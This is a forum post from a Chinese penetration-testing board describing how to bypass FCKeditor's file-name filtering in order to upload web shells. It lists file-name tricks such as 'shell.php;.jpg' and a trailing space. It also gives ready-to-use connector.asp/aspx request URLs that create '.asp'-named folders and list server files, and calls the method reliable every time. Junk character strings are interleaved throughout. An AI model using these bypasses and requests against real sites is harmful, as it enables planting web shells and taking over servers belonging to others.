中国网络渗透测试联盟
标题:
FCK 0day FCKeditor 建立文件夹,上传文件时"."变"_"的突破
[打印本页]
作者:
admin
时间:
2012-12-31 09:27
标题:
FCK 0day FCKeditor 建立文件夹,上传文件时"."变"_"的突破
很多时候上传的文件例如：shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化，试试上传 1.asp;jpg
- Y( D; h' {* A4 X& Z) M" }7 L
! b) s! G: K# o+ q4 f8 w* l
提交 shell.php+空格 绕过，不过空格只支持 win 系统 *nix 是不支持的，shell.php 和 shell.php+空格 是 2 个不同的文件，未测试。
$ p0 U' f( o4 ?3 [+ ^5 W
# i$ L2 A# w1 C, U
继续上传同名文件可变为 shell.php;(1).jpg，也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
6 b# I! j+ ~$ @8 W4 ]0 |
6 ]: ^0 s/ f1 i5 ~# c) B9 H
突破建立文件夹：
0 {7 M- b: k7 U3 q( m
8 G8 |9 I G) ]( P* H# D0 \, F) m3 }
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp
/ H# w3 i0 L& k' a/ l
) C' T; D& u+ M
参数：
k' z, F# I- z2 g* v9 E. H; P
: P/ r# i* B9 k4 l7 h
当前目录名：CurrentFolder=/qing.asp
& n! U5 f" n& O! @! B0 ]
7 }6 v1 e# s. B; ?7 \5 v% q
新的目录名：NewFolderName=x.asp
/ {" x e5 X" {$ Z( y
4 O4 q1 e9 m0 r5 l, _
其实很简单，在目录那里写 x.asp，然后点击新建目录在弹出来的对话框中随便写……
6 m7 n9 p4 n% u6 y7 \6 I7 d/ R$ v
9 O; ]+ B/ j. B! j2 s
那么 x.asp 就已经建立生成了，此方法百试百灵！
& j0 w& E z3 J' l, s* a
: Z/ n' f( H. X" M0 I7 e
新建文件夹参数 x.asp，基本都能搞定。
o2 n# ]2 J) c% w- @( @* ^
! J1 b5 m% x+ E- i
下面这句话是要在1.asp下建立2.asp，当不存在1.asp时会先创建，只过滤了目标目录的创建 而没有过滤不存在目录的创建
6 a% r. ]- c& r( M+ B
$ W3 M0 a+ Y# D& [" b) L: V( D
aspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp
8 ^6 B4 }, z" A2 z9 J
! ~8 _: t o+ r$ n8 @/ t
获取文件列表
# K8 ^* G3 t. k$ c4 Q; Q
aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F
9 C+ X2 s) o1 C
* q6 G E7 f2 u$ d5 b! X- W+ g
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2